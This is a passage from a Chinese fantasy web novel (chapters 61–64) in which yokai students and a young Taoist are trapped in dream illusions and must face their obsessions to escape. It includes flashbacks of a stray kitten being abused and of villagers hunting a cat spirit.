鱼肚里又涌进一大股河水，像是要将里头的一切冲刷干净，其实这时候的鱼肚里也没多少东西，最终被冲出这条鱼肚、又回到莱茵河里的也不过是五条木讷的?鱼。
咕噜噜……
胡和烈从河里探出头来，他头上还盖着水草，一身狼藉，脸色狰狞着瞪眼看向岸上的人，怒火朝天地大吼：“臭猫，你给我等着！”
叶米站在岸上，抱着胸得意一笑：“看来你还是学不会愿赌服输。不打紧，日后输得多了，自然就会了。”
“你！”
叶米却懒得理会他，转身就要走，旁边围观的学生自觉地让开一条道来，猫的身影很快就消失在人群中。
“胡大哥！”陆甲在边上喊道，“胡大哥，你快上来吧！”
哼……
胡和烈把飘在水面上的螫针收了回来，满脸不快地游上岸去，给自己施法烘干。陆甲在他耳边絮絮叨叨着：“定是叶米偷使了什么狡猾的术法，胡大哥你一时不察才中了招。”
“闭嘴。”胡和烈吐出一口恶气，“输就输了，再说这些闲言碎语，我不就跟那些没本事又自欺欺人的小人一样了？”
陆甲瘪了下嘴，怎么总觉得自己中了一箭呢？他见胡和烈不爱听，很快转移话题道：“嗐，这些小考试都是小打小闹，做不得真，等日后胡大哥你夺得了叶米心心念念的成仙名额，那才叫真正的赢！”
胡和烈哼了一声，没有回答。他们虎头蜂族妖多势众，团结一致，在妖界没几个不长眼的敢惹，他在家族里做一个小少爷倒是挺快活的，并不那么在乎成不成仙的。
但他知道叶米在乎，这臭猫从第一次见面开始就和他不对付，若是能得到她想要的东西……胡和烈觉得自己的好胜心会得到极大的满足。
想到这里，胡和烈的脑子里又冒出刚刚和叶米在水上打斗的情景，他明明用螫针刺伤了她，按理来说她中了毒，虽不致死，但也会肢体慢慢麻木、僵硬，神智会变得有些迟钝糊涂，可臭猫的反应依旧那么快，法术也毫无削弱，她还真能忍……
“叶米也太厉害了吧……”
虎头蜂听见有人这么说，下意识转头一看，和林圆圆还有她边上的谢珍珠对上眼，这两人他不太熟悉，就知道名字而已，再一想对方好像也没说什么过分的话，他只是听到某妖的名字有些条件反射而已，便回过头去继续走了。
“吓我一跳……”林圆圆拍拍胸脯，和谢珍珠道，“我还以为他要怎么着呢！”
谢珍珠其实也吓得抖了一下，小声地和朋友道：“没事没事，我们只是说叶米很厉害，没说他坏话……”
林圆圆心说自己差点要说了呢：“不过我说真的啊，叶米的原形只是一只猫而已，她甚至能打过隔壁班那只老虎精！”
“成妖之前猫对上老虎能有几分胜算呢？”谢珍珠点点头，也是有些感慨，“成妖之后，她却能凭借妖法打赢对方，其实很不容易的
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。我听说她日日起早贪黑地修习术法呢，反正我是做不到这么努力的。”
林圆圆嘟嘴：“我也做不到，难怪人家这么厉害呢。”
谢珍珠的脑海里闪过那张面无表情的猫脸：“要成仙可不是简单的事……幸好我没有那么大的志向，只求平平安安顺顺利利地拿到结业证就好了，然后回老家陪我爹娘过平淡的日子……”
“你呀，”林圆圆点了下她的额头，“就是什么都不图，才这么懒！不对，应该说你是因为太懒了，所以才什么都不想？”
“我也没有什么都不想……”谢珍珠小幅度摇了摇头，“只是我这么弱，胆子又小，想得多了有什么益处呢？倒不如把日子过得简单一些，平平淡淡的也是开心了。”
她越说越小声，最后变成自己的嘟嘟囔囔，甚至有些着魔似的，直到一声“谢姑娘”猛然惊得她心一跳，唤回了她的思绪。
谢珍珠回过头，看见一个陌生的男人，穿着一身普通的灰蓝色圆领窄袖衫，头发全然束起在幞头下，面容清俊。
奇怪，他怎么有点眼熟？
“珍珠，是你认识的人啊？”林圆圆用胳膊肘怼怼她。
谢珍珠想说不认识，可那人的神色有些焦急，似乎有话和她说，她想了想还是点了点头：“……好像是。”
林圆圆似乎没在意她话中的古怪：“那我不打扰你俩，先走了。”
“……好。”
林圆圆一走，男人略显焦急道：“谢姑娘……”
谢珍珠抬眼看他：“你是谁？你怎么知道我姓谢？”
南显成一愣，虽然也不是很意外，但还是面色略凝重地叹了口气，尽量心平气和地和她解释道：“谢姑娘，我是南显成，劳烦你听我解释一番……”
他算是找对人了，谢珍珠可不就是耐心很好的妖吗，还真的认认真真地听了他说的一切，并且瞧着都有几分信了：“你、你说的都是真的？所以我们现在是在那条鱼的肚子里？”
南显成点头：“是。”
“那我为什么会在这？”谢珍珠看看四周，这是她们万妖堂的后院，刚刚在这里举行了一场小考试，胡和烈和叶米作为最后登场斗法的学生，给大家表演了一场好戏，“还有……你又为什么在这？”
“这里应是梦境。”南显成的视线从逼真的周遭划过，微蹙的眉心不曾放松，“我醒来时，就是在我们门派的乌来山的一片密林之中，那是我幼时和师兄曾误入过的禁地，里头有一只凶神恶煞的熊妖，我的师兄不幸丧生在熊掌之下，而我侥幸被赶来的师父所救……”
回忆起悲伤的过往，南显成的眼中有许多暗淡的失落：“这一次看到那只熊妖我依旧很害怕，一开始也和你们一样失去了记忆，分不清情况……不过被那只熊杀了几次之后，就大概明白了。”
谢珍珠：……
“啊？被杀了几次之后？”
61. 第 61 章
“是，”南显成好像不觉得这是很恐怖的事情，还笑了一下，“幸好被杀之后的记忆并不会消失，我重来几次过后便知道这大概是某种阵法，破阵之法应是和内心深处的恐惧或是执念有关，所以在我杀了那只熊妖之后，便脱离了梦境。”
谢珍珠睁着大眼睛：“那你又是怎么来我的梦里的？”
南显成举起自己的左手，上边其实空无一物：“这多亏了情缘线，让我能进入你们的梦境，谢姑娘，当务之急是快一些脱离梦境了，我怀疑等过了十五十六之后，我们便无法出去了。”
“哎呀！”谢珍珠被他一说，也焦急起来，“那那……你为什么来我这呢？你应该先去叶米的梦里的，等叶米醒了，她一定会有办法的……”
南显成摇摇头，实话实说：“进入谁的梦并不是我能决定的，也许是叶姑娘的梦境的阻力较大，情缘线不敢随意连结。”
谢珍珠想不起来发生了什么，她也很意外自己会和叶米组队，但对现在的她来说，叶米和胡和烈都是可望不可即的厉害人物，刚刚斗决场面她只是在边上看着就要腿软了。如今就连他们都陷入了囚梦坑的陷阱，她一个软弱无能的螃蟹精醒来了又有什么用呢？
想到这里，她忍不住陷入失落和害怕，眼睛一眨一眨着就掉下了眼泪。
南显成：？
不是，怎么就哭了？
“谢姑娘，”他吃了一惊，活了二十多年也没安慰过哭泣的小姑娘，更不明白对方为什么好端端地就哭了，“你、你为何……”
谢珍珠抽抽鼻涕，抹了把眼泪摇摇头：“我、我不想去成仙考核了。”
南显成一愣：“……谢姑娘，你这话是何意？”
谢珍珠的眼泪怎么都抹不干净，干脆就哇哇大哭起来：“我好害怕，那么多危险我怎么应付得过来？呜呜呜我不要成仙考核了，我也不要结业证，我只要回家找爹娘和姐姐，呜呜呜呜……”
“谢姑娘，你冷静些，”南显成也不得不跟着她慌乱起来，“可问题是你已身处考核之中，现下的一切都是假的，这里是你的梦……”
“呜呜呜我不要考核，叶米都过不了的关，我怎么过得了呢呜呜呜娘……”
南显成诧异地闭上了嘴，心想明明谢姑娘已经相信了他的说辞，为何还会这样执迷不悟、说什么不想考核呢？
……难道，仅是告知对方真相是没用的，必须要破解他们在此梦境之中的心结吗？
可谢姑娘的心结岂会是他一个认识没几天的人会知道的？还有胡公子也是……
“喂。”
南显成听见这声熟悉的“喂”，扭头一看，竟是胡和烈又回来了，难道是他恢复了记忆？南显成脸上不由得带了笑：“胡公子，你是不是……”
“你是道士？”胡和烈打量他朴素的衣着，视线最后落在他腰侧的桃木剑上，忽然绽开一个带着些许恶意的笑容，“好啊，我还没和道士打过架，你，过来跟我比划比划。”
南显成：笑容凝固。
他企图和对方讲道理：“胡公子且慢，在下有事要说，其实这里是你的梦……”
“梦？我看你是在做梦吧！”胡和烈嗤笑道，“一个道士竟敢跑到万妖堂里来，胆真肥啊。只要你和我来一场，我就饶你一命，让你全须全尾地出去，不然……哼，有你好看。”
南显成汗颜，扭头看谢珍珠：“谢姑娘，劳烦你帮我解释……”
谢珍珠已经蹲下来把自己缩成一个珍珠球在哭了：“呜呜呜我想回家……”
一扭头，胡和烈的螫针已经戳到了他的鼻尖前：“拿剑！”
南显成：…………
情况怎么会变成这样？
*
好饿。
猫有气无力地抬起眼皮，有一种窒息的空荡感从它的肚子开始，霸道地弥漫了它全身，让它连动弹一下都那么心慌和疲惫，这种使不上劲、脑壳又眩晕的感觉比疼痛还难以习惯，猫感觉好累。
总得吃点什么……
它往前爬去，此刻最大的梦想是不小心撞到什么能入口的东西——不用真是吃的，能吞下去就行了；或是下一场雨，她就可以爬到小水坑里喝个水饱，也许很快就会拉出来，但起码能缓解现下这难受至极的无力。
好饿。
“诶，这里有只野猫！”
“我去，它怎么这么小啊？还没我手大。”
“你有没有吃的？”
“我这还有块白馒头，没味不好吃。”
“猫懂什么好吃不好吃。”
老天仿佛听到了它的愿望，猫闻到细细的、甜滋滋的米面味，它撑着发抖的四肢往前了几步，总算碰到了那个在视线中很朦胧的、软乎乎的东西，猫开心地吃了起来，它做不到狼吞虎咽的，毕竟连张嘴咀嚼都很需要力气。
“它在吃了在吃了！”
“哈哈哈这都要吃，猫不是都爱吃鱼的吗？怎么还吃馒头！”
“你看它这么瘦，肯定饿死了，吃什么都行喽。”
“吃啊吃啊，吃饱了陪我们玩！”
猫其实听不大懂这些，以它现在的脑子，能听懂的只有“吃”这个字，人类说“吃啊吃啊”，它就能吃到奇奇怪怪的、但是能下咽的东西。
有时候他们叫什么“咪咪”“咪咪咪”的，猫渐渐也明白这好像是在叫它过去，但是叫“咪咪”的人不一定会给它吃的，很多只是戳戳它、把它拎起来看一看，或是用脚把它挪开几步，朝它说几句听不懂的人话……这样之后就走了，并没有“吃”字好，不过它还是会过去的，万一有吃的呢？
现在它又听到了“吃”字，也确实吃到东西了。
猫感到肚子被慢慢地填满，这给了它极大的幸福感，没有什么吃饱肚子更重要了，四肢也有劲了许多，它觉得自己现在能跑好远。
然而还没等它恢复力气开始跑，它忽然就飞了起来，猫扒拉着自己
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的脖子，不知何时上边被缠上了绳子，这东西勒得它很是难受，每一口只能吸进来一点空气，甚至还想吐，这可不行，刚吃下去的……
“哈哈哈它好轻啊！”
“甩起来甩起来，再甩高点！”
“它怎么不叫啊，是不是死了？”
“吓傻了吧哈哈哈哈哈！”
猫其实并不知道自己发生了什么，只觉得身体不受控制，脑袋越来越晕乎乎的，它感到刚吃下去的东西又涌到了嘴巴边上，只要它一张嘴就要出来了，这不能白吃啊，它便努力闭着嘴巴，但还是不受控制地张开了一些，吐出一股股奇怪的、混杂着馒头碎碎的白沫来。
不知道过了多久，虽然每一刻都那么难挨，好歹最后还是停下了，猫最后摔到了地上，那些声音嬉笑着跑开了，忘记解开它脖子上的绳子。
这倒也还好，不太好的是它在空中憋了大半天没吐出来，结果落地后反倒是忍不住了，哇啦啦地吐了好多。
不过它也没觉得很难过，吐了再吃进去呗，只是它现在有些……又有些没力气了，浑身乏力疼痛，脑子更是跟要爆炸了似的又晕又涨，猫不知道如何缓解这些难受，只是慢慢地、短短地，浅浅地喘着气，感受着懵懂的生不如死。
它接下来……要怎么样呢？
也许和以往一样吧，只要是没死，等存了些力气，感受到要吃了它的饥饿感之后，再一点点爬去找食物……就是这样的，它也不知道为什么，反正就是这样的，它的生命如此反复延续着。
叶米站在边上看着这只可怜的猫，面色毫无波动，像是在看一只小小的蚂蚁，心里慢慢地想着，怎么活成这样了还不死呢？
皮贴着骨，浑身狼藉，猫眼被眼屎和血痂黏着睁不开，毛发更像是阴沟里出来的耗子，短短的，乌漆嘛黑的，那缺一块这少一点……对，哪里像是猫，其实就是老鼠吧？
叶米嘴角勾起嘲讽的笑。
她移开视线望了望四周，不过是很普通的民间街道，她对这里完全没有印象了，也完全不记得自己还有这么狼狈的时候。她根本不知道自己还是这只可怜的小猫的时候是怎么活下去的——其实不用想也是知道的，就跟世上所有的野猫一样活着了。
幸运的时候，猫穿梭在大街小巷，偶尔遇见好心的人给予一些残羹冷炙，就这么长大然后死去；不幸运的时候，猫躲藏在大街小巷，偶尔遇见坏心的人给予一顿拳打脚踢，也许不用长大也能死了。
猫的命运就是这么简单的。
叶米不在意一百多年前的自己，反正结局已定，就是活下来了。现在她打算去找破局的办法，虽说实在是毫无头绪，但起码没有被扰乱心思。
猫一转身，忽然感到有人穿梭过她的身体，她转着脑袋顺着那身影的动作望去，看见一个十四五岁的男孩把奄奄一息的猫放在手心上抱了起来。
叶米微挑了下眉，下意识瞥了眼男孩的脸，一瞬间神情凝滞。
62. 第 62 章
“南显成？”
即使只是十四五岁，但这小孩的容貌与现在的南显成有七八分相似，叶米很轻易便认出来了，不过他现在应该不叫“南显成”。
所以这是什么意思？
叶米看着南显成抱着猫跑远的背影，眉心微蹙，心想这一幕的意思是……南显成的前世曾经救过自己？怪不得……
算了，不重要。
叶米转过身不听不看不在乎，打算先去找破局的办法。可就在她迈出第一步的时候，周遭的情景瞬间变换，变成了一个小小的卧房。
她扭头一看，南显成就坐在自己边上的桌子旁，用手巾轻轻擦拭着猫身上的污渍，油灯晃晃悠悠地照着他悲伤的侧脸，映着他眼角的泪光熠熠闪烁：“小猫咪，你千万不能死啊……”
“好了我知道了，”叶米仰着脑袋对天花板说，“我知道是他救了我，够了，让我出去。”
但什么都没发生。
叶米感到无语，她早就用过术法，却发现什么都使不出来，她在这奇怪的世界像是一只无能的小鬼，别人瞧不见听不见她，她也不能奈何别人。似乎只能按兵不动……主要也动不了。
她心累地撑着下巴，看南显成细致地帮猫擦干净身体，又把茶盏里的水喂给它喝，最后又拿起桌上的糕点掰碎了给它吃。等猫吃饱喝足之后，他又从哪里找来一个铜盒子，往里边铺了件衣服，把猫放进去。
叶米是一点也不记得这些了，即使知道这只弱得快死的小猫就是她小时候，可每当看到它时，她的内心总有种强烈的割裂感，连一点对自己的可怜都没有，不知是因为时间过去了太久，还是觉得这些都不重要了。
反正她现在活着，叶米觉得这才是重点。她很少想过去的事情，很少回忆过去的痛苦，即使她现在的一切源于那些伤痕和不堪，那些苦难让她强大，但不值得再回味了。
再说对救了她的南显成……叶米看向安顿好猫后乖乖上床睡觉的南显成，不得不承认在得知真相后是对他有几分感恩之情，不过也就几分。救猫一命对他来说不过是顺手而为的事……
刚想到这呢，场景忽变，叶米转眼到了阳光明媚的屋外，有树有水有墙的，瞧这环境是在谁家的后院，她站在湖水的边上，湖里有跃动的水声，是几只肥大的元宝鱼。
“哈哈哈哈！这猫好丑啊！哈哈哈！”
“和南显成一样丑哈哈哈！”
“咦，你说猫会不会凫水啊？”
叶米顺着小孩的嬉闹声望去，瞧见三个十四五岁的小孩，其中一个肥墩墩的男的，用他肥墩墩的手掐着猫脖子拎在空中晃啊晃的，那猫翻着白眼，有气进没气出。
叶米不得不感叹：我这条猫命真大。
“我只听过狗会凫水，没听过猫会不会。”
“试试、试试！”
边上的人一撺掇，那肥墩墩就努力地用嘴角顶起面部肥肉笑了一下，然后走了几步到湖边，那手从下往上使劲儿一抬，就把猫甩到了湖中。
叶米顺着抛物线看去，看见猫落入湖里后沉了两秒，就浮到了水面上一动不动的，瞧着失去了意识，真是因祸得福，不挣扎反而能漂起来。
“你们在做什么！”
南显成姗姗来迟，瞧见湖中漂的“猫尸”又气又恼，想着跳下湖去救猫，但被那三个人拦住，尤其是肥墩墩男，简直是一个顶俩，瘦弱的南显成根本不是他们的对手，反而还被踹到在地上拳打脚踢。
“你个有娘生没娘养的贱种，自己都养不明白，还想养猫？哈哈哈！”
“踹你踹你踹你！看看是你先死还是猫先死！”
“哈哈哈……”
叶米左看看挨揍的南显成，右看看湖中漂的猫，觉得照这样下去，还真不一定是猫先死呢。
反正她现在干不了什么，就坐在湖边的石椅上望天望风景，偶尔看看糟心的欺辱场景，很是散漫地想：她就说吧，恃强凌弱、胜者生存，这个世界从来是这样的。只要你弱，不管你是猫还是人，都是被欺负的份。
闹剧结束在肥墩墩男打不动了，他捂着心脏，一边喘着粗气一边被另两个人扶着离开去休息，南显成从地上爬起来，脸上灰头土脸的，还留了鼻血，看着好不磕碜。
爬起来第一下还摔了一跤，只好再爬一次，这么踉跄着路过叶米的眼前走到湖边，毫不犹豫地一头扎入水中。
叶米静静看他救猫，却在他沉入水中迟迟不冒出来的时候心脏顿了一下，下意识站起来往湖边走了几步。
不是，不会凫水还逞什么能啊……
“哗啦。”
他从水中冒出头来，仿佛才清醒似地抹了把脸，将灰扑扑的脸抹得一块白一块黑的，然后朝猫游去，将它救了上来。爬上岸的时候，叶米居然退了一步给他让道，让了之后才反应过来他根本碰不到自己。
落汤人抱着落汤猫跑回了屋子里，跑出了一条湿哒哒的路，他也来不及换件衣服什么的，轻轻压着猫的腹部让它吐水，一边压一边哭着说：“对不起，对不起，都怪我没用……咪咪，你不要死……”
叶米又闪现回他的屋里，熟门熟路地坐下了，还给自己倒了杯茶喝：“放心吧，死不了。”
“你醒了？你还活着！咪咪……”南显成抹了把眼泪，看着猫活过来吐水，忍不住趴在桌上哭了起来，“幸好……呜呜呜呜……”
叶米：……
“好了，我知道了，”她又对着天花板道，“南显成救了我两命，他是个好人，我不会对他怎么样，行了吧？放我出去。”
还是没有任何反应，回应她的只有南显成压抑可怜的、断断续续的哭声。
叶米叹了口气，干脆趴在桌子上打算睡觉。可她眼睛刚闭上，门忽然被一阵冷风吹开，吓得叶米立起身来，却见场景已换，屋里到处是白色的孝布，她诧异地转过头，看见南显成躺在床榻上，面无血色。
猫愣了一下，走近一看，果真已经凉
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透了。
……这就死啦？
那猫呢？
叶米往屋里看了看，没找到猫，她又走出门口，正好听见路过的下人的窃窃私语：
“听说是着凉后发了高烧，没熬过去就死了！”
“这么就着凉了？而且四少爷身上青一块紫一块的……”
“嘘！别瞎说，这跟他死的事有什么关系？四少爷本就身子弱，这两日刚变了天，本就容易受寒。”
“……欸，不是说他养了只猫吗？怎么没瞧见？”
“估计跑出去了呗，畜生懂什么死啊活的，都是没良心的。”
……
着凉后发高烧死的？
叶米自然想到了南显成为了救她落水一事，看他在这宅子里的待遇也不太好，估计没人发现、发现了也不在乎，所以就这么死了。
按理来说她是该感动和愧疚的，可叶米先是觉得有些无语，自己曾经那么弱小，被这样那样地欺负都还活着呢，他这么大一个人就这么简单地死了？……多少有点离谱，简直是老天开的玩笑。
所以现在南显成死了，这幻境什么时候结束？
叶米站在门口等了一会，始终没有动静，她又走进屋里，无聊地打量了一眼南显成的尸体，忽然见他的布衾动了动，从里头钻出来一只猫，叶米挑起了眉毛。
猫走到南显成的脸边上嗅了嗅，又用脑袋蹭了蹭他，但对方始终没有给它反应，它打了个哈欠，见门开着，从床榻上一跃而下，头也不回地走了。
叶米看看尸体，又看看转瞬即逝的猫的尾巴，抬脚追了上去。
刚迈出门槛，风云突变，面前吹来一阵狂风让她闭上了眼，再睁眼一看，只见夜色深深，数不清的树木屹立在四周，这些树高得吓妖，茂密的树叶遮挡了天空，照不进一丝月光，风一吹过就簌簌的，怪渗妖，
叶米忽然觉得这里有一点熟悉，不过只有一点。话说这是哪的林子啊，怎么树这么高大？奇了怪了……叶米想扭过头，迈脚的时候感觉到了不对劲，低头一看，自己是原形的模样，前左爪上还受了伤，正在流血。
叶米……猫感到许多奇怪，她要做什么来着……对，逃跑，有人在追杀她，快逃！
想到这，警惕和恐惧重新占据了猫的大脑，她连忙往前跑，第一下还被爪子上的伤口给疼到了，发出一声轻微的惨叫。可没跑几步，前边几棵树后忽然出现了火光，猫顿感不妙，正想回头，又听见后边一声：
“她在那里！抓住她！”
糟了……
一群人拿着棍子、菜刀、甚至还有扫帚，反正是各式各样的武器，就这么逼近了，猫现在是四面楚歌，她想了想，飞快地爬上了离她最近的那一棵树上，可很快，就有人跑过来摇树，企图让猫摔下来。
有人喊：“谁会爬树？把它抓下来！”
有人答：“我会，我来！”
“陈叔，你要小心啊，这只猫妖可机灵了！”
63. 第 63 章
爬树的人已经在树下撩袖子准备了，猫暗暗不安，转着竖瞳思考如何脱身，这时候人群中冲出来一个十七八岁的少年，一把拉住了要爬树的人的手：
“陈叔，算了吧，它不过是只未化形的猫妖，偷了村里几只鱼罢了，已经中了你们的陷阱受了伤，也算是得了教训，何必要赶尽杀绝？”
被叫陈叔的人皱着眉头道：“就是要趁它还未化形、妖力不强的时候杀了它，等它变厉害了，那完蛋的就是我们村的人了！”
“就是啊就是啊！”
“趁它病要它命！”
“你不知道，我刚刚听那只猫说话的时候有多害怕……”
人群议论纷纷着，少年似有些无措，但拉着陈叔的手始终没有放开，他忽地抬头看向树上的猫，劝道：“这位……猫兄，你偷了我们村里的鱼，确实是你有错在先，不如你道个歉，保证以后再也不进我们村，如何？”
猫想了想，现在的局势确实不利于它，它妖法低微又受了伤，下边这些凡人人多势众，不如就先道个歉好了，而且……确实是它先偷的鱼：“对不起，下次不偷你们村的鱼了。”
她一开口，下边的人又大惊小怪起来：
“吓死人了，猫真的开口说话了！”
“还是只女妖，不知道化形之后是什么模样……”
“太恐怖了，猫怎么会说话呢？要是它之后变得更厉害怎么办……会不会来找我们报仇啊？”
“我看还是不能放过它……”
陈叔自然听见了民众的声音，他仰着脑袋对树上的猫嗤笑一声：“呵，不偷我们村的鱼，那是要偷别的村的了？你真是死性不改，今日我就要为民除害！”
“陈叔！”那少年连忙拉住他，“它已经知错了，也保证要远离我们村，放过她吧！”
“可是……”
“你们怎么说话不算数！”猫也有些生气了，“我都已经道歉了，不过是几条鱼罢了，大不了我捉来还你们便是！”
陈叔指着树上的猫，义正辞严道：“你偷了鱼，说明你妖性顽劣，现在只是偷鱼，日后指不定要杀人了！我怎能放过你？”
“陈叔！”少年的语气听起来很焦急，“照这个道理，难道偷鱼的小孩长大就会杀人吗？”
“这怎么一样！她是妖！”
“这怎么不一样？”少年苦口婆心地劝啊，“她还未犯的错，为何要提前给她定判词？如果她未来是只好妖呢？”
陈叔不耐他在挑战自己的尊严，一挥手把少年甩开：“我们村赌不起这个可能！”
“陈叔！”
陈叔是真会爬树，摩拳擦掌后往树上一跳，灵活地爬上树去，少年被好心帮忙的村民们拦着抓着，挣脱无力。
“小成啊，你别管，这偷鱼的猫能是什么好猫？”
“是啊，你要是不忍心，先回去了吧！”
小成很是无奈和生气，语气听着有些许崩溃了：“哪有猫不偷鱼吃？村里那么多野猫都偷吃的，也不见你们赶尽杀绝……就因为她是妖，所以该死吗？”
“妖是妖，可不是普通的猫！”
“对啊，你这孩子怎么搞不清楚状况呢？”
小成：“明明是你们是非不分！”
他们在下边吵着，猫在上边躲着陈叔的抓捕，她垂眼瞧着这张丑陋狰狞的人脸，心中厌恶又发怵。
她明明是看着村里其他猫偷东西吃、那些村民瞧见了也没怎么，反而一笑而过，便以为这村里人对猫偷东西一事不甚在意才去偷的东西，结果因为在被发现的时候说了句“多谢”，那人就大惊小怪地喊什么“猫说话了”“妖怪妖怪”的。
情况就变成这样了。
猫心里非常不服气，这会身下的树枝被人晃动起来，她差点要滑到，更是气上心头，挥舞爪子往那人的脸上狠狠一抓，触发一声人类的惨叫。
哼！
猫打算冒险跳到另一棵树上去，可她一跃，尾巴却被抓住了，猫来不及扭头给那只贱手一抓，整只猫就被狠狠地往树下甩去：“畜生，竟敢抓我！”
猫没长翅膀，不过她平衡好、反应快呀，灵活地在空中翻转了身子，估摸着下边哪一颗人头是她最方便的落脚点，很快就踩到了一颗人头上，那人发出一声尖叫，猫也没多停留，赶忙继续跑。
“抓住它！”
“别让它跑了！”
人实在太多了，猫怀疑整个村的人都来抓她了！她在一颗颗人头和肩膀上跳来跳去，抓散了不少人的头发，又无奈地回到地上，穿梭于一条条人腿之间，免不了挨踢。
要是她会飞就好了，猫想。
可被踢了几次之后她又觉得，飞不飞也不是重点，重要的是她得足够厉害，就像这些人类担心的那样，等她变厉害了，只有她杀他们的份！哪里还会像现在这么狼狈？
“啊！放开我！”
猫避无可避，被拎着尾巴提了起来，她攀上那人的胳膊想咬他，但很快脖子就被死死掐住了，她踢踹着、伸出爪子扒拉着，这让对方更恼怒了：“畜生，快杀了它！”
猫瞧见有人举着刀就过来了，她吓得瞪大竖瞳，风里雨里这么多年，在人间也没少受过委屈和欺负，但这样直面死亡的时刻真是不多，难受的恐惧将她的心脏攥紧了，也许这时候她最该表现出服从和悔恨，含泪道歉求饶才是——
可她不愿意，她才不要对这些卑劣丑陋的人类屈服。
那把污浊的菜刀从上挥下，猫剧烈地扭动起来做死前的最后的挣扎，刀砍到了她的背部，这把刀大爷原先应是杀猪用的，不然怎么这么锋利顺畅地就把猫的背划出了一道长口子来。
猫感受到背上刺骨的伤口，但一开始还没觉得疼，只是有无法忽视的触感，那块地方汩汩流出了血水，让她感到一片温热。
完了，再来一刀真要死了。
她不知该怎么面对死亡，其实不是没想过哪天她会被石头扔死、会被水淹死、或是被人玩死，但死到临头，还
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真不知道该怎么办。
不过现在她知道了，死亡似乎就是一件不需要准备的事。
猫的瞳孔里倒映出那把滴着血的大刀，莫大的恐惧都化作了一片空白，她不要闭眼，她要眼睁睁地看着自己死去。
“住手！”
“小成——”
猫看见有人扑了过来，他本是打算把拿刀的手打开的，但拿刀的人被他吓了一跳，刀又那么重，顺势就砍了下去，擦边砍他右边胳膊上，胳膊是没断，但衣服和皮肉都被划破，一瞬间就有血biu出来。
小成没叫，反倒是不小心砍伤他的人大吃一惊地叫起来：“你你你，是你突然跑过来的！”
小成的脸很快失去了血色，他用那只没受伤的手搭在抓着猫脖子的那只手腕上，神情绷着严肃，一字一顿地说：“陈叔，放过她……”
陈叔也是震惊了，他看看小成受伤的手，心里想着等会要怎么跟他爹娘交代呢，又看看被他掐着脖子的、背上划了好大一条伤口的、奄奄一息的猫，略微斟酌，干脆把那猫往地上一扔，大方道：“好，看在你爹的面子上。”
他把手高举着挥一挥：“散了吧、散了啊。”
村民们看了看地上的猫，见它受了这么重的伤，猫身只有微不可察的微微起伏，看起来死不过是早晚的事，那便算了吧，让它自生自灭便是。
只有一人不是那么想的，小成蹲下来想去看猫的情况，但膝盖刚刚一弯，陈叔就不由分说地把他拉走，嘴里念叨着赶紧回去疗伤。
小成受了伤，又疼又虚弱，根本没有反抗的力气，只能一步三回头地被拉着走，徒劳地在心里希望上天有好生之德，能救救这只可怜的小猫。
猫偷鱼之罪，何至于此？
猫疼得要死，呼吸都在疼，更是动都动不了了，她感觉有好多血在流，心里想着别流了再流她真要完了，又没有什么办法……也许她该憋着一口气，努力站起来做点什么……
但是这一口气真是很难憋住了，她在脑海里给自己打气，只不过慢慢地，连思绪都迟钝起来，甚至还有些犯困。
就在此时，她只能勉强张开一点点的眼睛瞧见一只黑猫从前方的树后踱步而来，步履不急不慢的，旁若无猫，让她觉得这是一场幻觉。
……难道猫死了，是猫鬼来接的？
不知道了，她最后只能瞧见对方在夜色之中亮亮的琥珀色猫眼，很快就失去了意识。
伤口好疼。
南显成静静地看了眼胳膊上颜色浅浅的伤疤，把被胡和烈刺破的衣袖往上头拉了拉，但一松手又掉了下来，露出他右边一小片胳膊。
……还好这是梦境，等会出去应该是完整的衣服吧？南显成有些迟疑地想。
“喂，你说的都是真的？”
南显成闻言，抬头看向前方和自己打了好几架之后、好不容易被他用几张符箓定住身，现在只能动嘴的胡和烈，微微颔首，语气无奈道：“胡公子，我说的自然都是真的。”
64. 第 64 章
胡和烈点点头：“好，你先把我放开，我们一起想办法出去。”
南显成看他不太真诚的眼神，心里是一点都不信，他估计要是把符箓拿下了，又要和他没完没了地打起来，便斟酌道：“胡公子，想办法的话动脑子就好了，我这符箓不定脑子的。”
胡和烈：……
他翻了个大白眼，生气道：“臭道士，快把我放开！”
“胡公子稍安勿躁，在下有个重要的问题，”臭道士一脸认真：“你可有什么执念？”
“……执念？”胡和烈转了下眼珠子，撇到一边，瞧着很不高兴地嘟囔道，“我哪有什么执念。”
“那个……”一直默默地不说话、在旁边蹲着画圈圈的谢珍珠这时候举起手，小心道，“我觉得……只是我这么觉得，胡大哥的执念也许是打败叶米吧……”
胡和烈闻言，眉头不受控制地跳了一下，但死死抿着嘴巴没说话，一副不承认也不否认的模样。
“叶米……”道士有些恍惚道，“叶姑娘也在这里吗？不对，应不是真的叶姑娘，是过去的。”
他抬起眼来：“叶姑娘在哪？”
谢珍珠猜测道：“现在这个时候……应是在小叶林里修炼法术？不过你叫她来也是没用的，胡大哥刚刚还输给她了。她也不见得会相信你说的囚梦坑的事，指不定还要把你赶出万妖堂，到时候你可会很惨的。”
南显成觉得大概也是这样的。
难道就没有别的办法了？他现在甚至不知道谢姑娘的执念是什么，又不能让梦中的叶米故意输给胡和烈，可让胡和烈打赢叶米也是件难事……唉。
“不如这样吧，”他斟酌道，“我先从二位的梦中出去，想办法进叶姑娘的梦中看看情况，说不定她那边的进度会更快些。等叶姑娘成功了，再和她来回来救你们……如何？”
谢珍珠刚要点头，就听胡和烈哇哇大叫：“谁要她救！我不要她救！这臭猫只会嘲笑妖！”
南显成没想到这两人先前关系这么差呢，他也是头疼：“胡公子，我本是打算先助你出梦去救叶姑娘，可你如今对我的话是半信半疑，更别提解决执念离开，没有更好的办法了。”
“我去救……叶米？”胡和烈微愣，睁着眼睛开始琢磨起来，“若我先出去救了她，那怎么不能算我赢了？”
南显成：？
他先顺着说：“从某种角度上算是吧。”
胡和烈立刻下定决心：“我要出去！”
南显成苦笑道：“胡公子你有这个想法是再好不过的，不过此事并非轻易的……嗯？”
话还没说完，胡和烈的下半身就已经消失一半了，他顺着南显成和谢珍珠震惊的眼神低头往自己身上一看，也不害怕和诧异，只是露出一个肆意的笑容，得意道：“这回总算是我赢了！哈哈哈哈……”
他到底是多想赢叶米啊？居然这样就可以出去了？？
南显成有几分茫然和不理解，但这是好事，便不需多计较，于是他转而又看向蹲在边上的谢珍珠：“谢姑娘，这也证实我说的都是真的。”
谢珍珠双眼发直：“我是相信你的，但我也不清楚我的执念是什么……更何况我不想考核了，我现在只想回家……”
“啊！”她忽然跳了起来，双眼闪闪，“也许我的执念就是回家呢？对，是不是我回家就行了？”
南显成：“……在下觉得并不是。”
